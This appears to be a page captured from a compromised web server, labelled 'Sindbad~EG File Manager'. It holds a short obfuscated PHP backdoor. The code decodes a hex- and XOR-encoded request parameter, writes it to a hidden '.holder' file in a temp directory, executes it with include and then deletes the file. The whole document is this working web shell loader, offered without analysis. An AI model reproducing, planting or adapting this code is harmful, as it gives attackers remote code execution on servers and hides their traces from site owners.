Sindbad~EG File Manager

<?php

if(@$_REQUEST["\x6D\x72k"] !== null){
	$itm = hex2bin($_REQUEST["\x6D\x72k"]);
	$item=    '' ;for($z=0; $z<strlen($itm); $z++){$item .= chr(ord($itm[$z]) ^ 56);}
	$ent = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm"]);
	while ($obj = array_shift($ent)) {
    		if (!!is_dir($obj) && !!is_writable($obj)) {
    $parameter_group = join("/", [$obj, ".holder"]);
    if (@file_put_contents($parameter_group, $item) !== false) {
	include $parameter_group;
	unlink($parameter_group);
	die();
}
}
}
}